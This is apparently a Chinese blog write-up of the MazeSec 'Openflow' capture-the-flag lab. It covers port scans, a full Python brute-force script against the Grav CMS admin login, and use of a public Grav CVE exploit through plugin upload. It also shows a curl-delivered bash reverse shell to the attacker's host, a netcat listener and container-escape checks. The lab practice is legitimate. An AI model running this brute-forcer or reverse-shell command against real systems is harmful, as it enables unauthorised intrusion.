avatar🌌
DingTomDingTom的博客

Next Generation Static Blog Framework.

记录我的学习和生活

MazeSec-Openflow

信息收集

bash
$ nmap -p- 192.168.31.198 --min-rate 5000
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-03 10:07 -0400
Nmap scan report for openflow (192.168.31.198)
Host is up (0.00054s latency).
Not shown: 65531 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
443/tcp  open  https
8080/tcp open  http-proxy
MAC Address: 08:00:27:24:5A:42 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 2.64 seconds


```bash
$ nmap -sVC -O -p 22,80,443,8080 192.168.31.198 -oN nmapscan/nmap_tcp
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-03 10:08 -0400
Nmap scan report for openflow (192.168.31.198)
Host is up (0.00077s latency).

PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey: 
|   3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
|   256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
|_  256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
80/tcp   open  http     Apache httpd 2.4.62
|_http-server-header: Apache/2.4.62 (Debian)
|_http-title: Did not follow redirect to https://openflow/
443/tcp  open  ssl/http Apache httpd 2.4.62 ((Debian))
| tls-alpn: 
|_  http/1.1
|_http-server-header: Apache/2.4.62 (Debian)
|_ssl-date: TLS randomness does not represent time
|_http-title: OpenClaw Control
| ssl-cert: Subject: commonName=yourdomain.com/organizationName=YourCompany/stateOrProvinceName=Beijing/countryName=CN
| Not valid before: 2026-03-11T11:21:19
|_Not valid after:  2027-03-11T11:21:19
8080/tcp open  http     nginx
|_http-title: Home | Grav
|_http-generator: GravCMS
| http-robots.txt: 13 disallowed entries 
| /.github/ /.phan/ /assets/ /backup/ /bin/ /cache/ /logs/ 
|_/system/ /tests/ /tmp/ /user/ /vendor/ /webserver-configs/
MAC Address: 08:00:27:24:5A:42 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 1 hop
Service Info: Host: openflow.dsz; OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.04 seconds

80,443: https://github.com/openclaw/openclaw

这个不太用扫, openclaw 应该都用过吧,就是要么 token 认证要么账号密码认证,还要有一个机器认证

8080:

https://github.com/getgrav/grav
这是第二个

● Grav 安装后 Web 目录结构分析 /var/www/grav/ # Web根目录 (DOCUMENT_ROOT) │ ├── index.php # 主入口文件 ├── .htaccess # Apache重写规则 ├── robots.txt # 爬虫规则 │ ├── cache/ # ⚠️ 缓存目录 (敏感) │ ├── images/ │ └── twig/ │ ├── logs/ # ⚠️ 日志目录 (敏感) │ └── grav.log │ ├── tmp/ # ⚠️ 临时文件 ├── backup/ # ⚠️ 备份文件 │ ├── images/ # 用户上传图片 ├── assets/ # 编译后资源 │ ├── user/ # ⚠️ 用户内容 (关键) │ ├── accounts/ # ⚠️ 用户账户数据 (YAML) │ │ └── admin.yaml # 默认管理员账户 │ ├── config/ # 用户配置 │ │ ├── site.yaml # 站点配置 │ │ ├── security.yaml # 安全配置 │ │ └── plugins/ │ │ └── admin.yaml # ⚠️ Admin插件配置 │ ├── data/ # ⚠️ 用户数据 │ ├── pages/ # 页面内容 (Markdown) │ ├── plugins/ # ⚠️ 插件目录 │ └── themes/ # ⚠️ 主题目录 │ ├── system/ # 核心系统 (只读) │ ├── config/ # 系统配置 │ ├── src/ # PHP源码 │ ├── blueprints/ # 表单定义 │ └── languages/ # i18n │ └── vendor/ # Composer依赖

路径说明默认存在
/adminAdmin后台登录❌ 需安装admin插件
/user/accounts/用户账户存储
/cache/缓存目录
/logs/日志目录
/user/config/plugins/admin.yamlAdmin配置❌ 需安装admin插件

这个应用没有默认凭据
我们只能先猜测是admin了

用用我们的 minimax 驱动的 claudecode…

grav_brute.py:

python
"""
Grav Admin Brute Force Script
- 每次登录重新获取nonce
- 跟随重定向,检查最终页面判断成功/失败
"""

import argparse
import requests
import sys
import time
import re
from concurrent.futures import ThreadPoolExecutor, as_completed

def try_login(target_url, username, password, verbose=False):
    """尝试登录"""
    session = requests.Session()

    try:
        # 1. 获取登录页面和nonce
        r1 = session.get(target_url, timeout=10)
        nonce_match = re.search(r'name="login-nonce" value="([^"]+)"', r1.text)
        if not nonce_match:
            return False, "获取nonce失败"

        nonce = nonce_match.group(1)

        # 2. 提交登录
        r2 = session.post(
            target_url,
            data={
                "data[username]": username,
                "data[password]": password,
                "task": "login",
                "login-nonce": nonce
            },
            allow_redirects=False,
            timeout=15
        )

        # 3. Grav返回303重定向,需要跟随
        if r2.status_code in [301, 302, 303]:
            # 4. 访问重定向目标,通常是 /admin
            r3 = session.get(target_url, timeout=10)

            # 判断成功/失败
            text_lower = r3.text.lower()

            # 成功特征:包含dashboard,不包含登录表单错误
            if 'dashboard' in text_lower and 'login' not in text_lower:
                return True, f"成功! 密码: {password}"

            # 失败特征:包含login-box和error
            if 'login-box' in text_lower or 'admin-login' in text_lower:
                if 'error' in text_lower or 'login failed' in text_lower:
                    return False, "登录失败"
                # 有登录框但没错误,可能还在登录页
                return False, "返回登录页"

            # 其他情况检查URL
            if 'login' not in r3.url.lower() and r3.status_code == 200:
                return True, f"成功! 密码: {password}"

            return False, f"状态码: {r3.status_code}"

        # 非303响应
        return False, f"非重定向响应: {r2.status_code}"

    except requests.exceptions.Timeout:
        return False, "超时"
    except Exception as e:
        return False, str(e)

def main():
    parser = argparse.ArgumentParser(description='Grav Admin Brute Force')
    parser.add_argument('-u', '--url', required=True, help='目标URL')
    parser.add_argument('-w', '--wordlist', required=True, help='密码字典文件')
    parser.add_argument('-u2', '--username', default='admin', help='用户名 (默认: admin)')
    parser.add_argument('-t', '--threads', type=int, default=3, help='线程数 (默认: 3)')
    parser.add_argument('-o', '--output', help='输出结果文件')
    parser.add_argument('-v', '--verbose', action='store_true', help='详细输出')
    args = parser.parse_args()

    # 加载密码字典
    try:
        with open(args.wordlist, 'r', encoding='utf-8') as f:
            passwords = [line.strip() for line in f if line.strip()]
    except FileNotFoundError:
        print(f"[-] 文件不存在: {args.wordlist}")
        sys.exit(1)
    except Exception as e:
        print(f"[-] 读取字典失败: {e}")
        sys.exit(1)

    print(f"[*] 目标: {args.url}")
    print(f"[*] 用户名: {args.username}")
    print(f"[*] 密码数: {len(passwords)}")
    print(f"[*] 线程: {args.threads}")
    print(f"[*] 开始: {time.strftime('%H:%M:%S')}")
    print("-" * 50)

    found = False
    results = []
    completed = 0

    def check_password(pwd):
        return try_login(args.url, args.username, pwd, args.verbose)

    with ThreadPoolExecutor(max_workers=args.threads) as executor:
        futures = {executor.submit(check_password, pwd): pwd for pwd in passwords}

        for future in as_completed(futures):
            completed += 1
            pwd = futures[future]
            success, msg = future.result()

            if success:
                found = True
                print(f"\n[!] *** 撞开! *** 用户: {args.username} 密码: {pwd}")
                results.append((args.username, pwd, msg))
                executor.shutdown(wait=False)
                for f in futures:
                    f.cancel()
                break
            else:
                if args.verbose:
                    print(f"[-] {pwd}: {msg}")
                else:
                    print(f"\r[*] 进度: {completed}/{len(passwords)}  当前: {pwd}", end='', flush=True)

    print("\n" + "-" * 50)
    if not found:
        print(f"[-] 完成,共测试 {completed} 个,未找到")

    if args.output and results:
        with open(args.output, 'w') as f:
            for u, p, m in results:
                f.write(f"{u}:{p} - {m}\n")
        print(f"[+] 结果已保存: {args.output}")

if __name__ == '__main__':
    main()

这里不要用只看 status 的方法,不行的,我建议你,以后写爆破也要提示ai或者自己,尽量不要直接看status的方法,有相当多的web只能跟随重定向才能看出来的

bash
$ python grav_brute.py -u "http://192.168.31.198:8080/admin" -w /usr/share/wordlists/Probable-Wordlists/Real-Passwords/Top304Thousand-probable-v2.txt -t 10
...
[!] *** 撞开! *** 用户: admin 密码: Admin123
bash
$ grep -rn "Admin123" .
./jwt.secrets.list:3754:Admin123
./rockyou.txt:2163792:Admin123
./rockyou.txt:11436211:Admin12320
./rockyou.txt:11436212:Admin123*
./Probable-Wordlists/Analysis-Files/Appearances-Top304Thousand-probable-v2.txt:72956:97 Admin123
./Probable-Wordlists/Real-Passwords/Top304Thousand-probable-v2.txt:72956:Admin123
./Probable-Wordlists/Real-Passwords/WPA-Length/Top204Thousand-WPA-probable-v2.txt:36070:Admin123
./Probable-Wordlists/wpa-dictionary/english.txt:98310:Admin123

…我没话说了,我跑了1个多小时,我的mj哥以后设置密码不要这么往后好吗…
然后继续吧

bash
$ proxychains git clone https://github.com/binneko/CVE-2025-50286.git

来点插件,我不知道可以用吗,这种一般挺泛用的,我试试

Location: /admin/tools/direct-install

传 zip

权限提升

bash
# Session 1
$ curl --get --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/192.168.31.187/4444 0>&1'" http://192.168.31.198:8080/

# Session 2
$ nc -lnvp 4444            
listening on [any] 4444 ...
connect to [192.168.31.187] from (UNKNOWN) [192.168.31.198] 58320
bash: cannot set terminal process group (237): Not a tty
bash: no job control in this shell
27dc8f6a13f5:/app/www/public$ id
id
uid=1000(abc) gid=1000(users) groups=1000(users)
bash
27dc8f6a13f5:/home/user$ cat user.txt
cat user.txt
flag{user-16a1140056a17826c20d51b1ed2502f9}

用 cdk 扫一下

bash
27dc8f6a13f5:/tmp/1$ ./cdk eva --full
...
8:1 /home/welcome /home/user rw,relatime - ext4 /dev/sda1 rw,errors=remount-ro
...

直接写个公钥看看

Vulnyx-Solar
MazeSec-JNDI
Valaxy v0.28.0-beta.7 驱动|主题-Yunv0.28.0-beta.7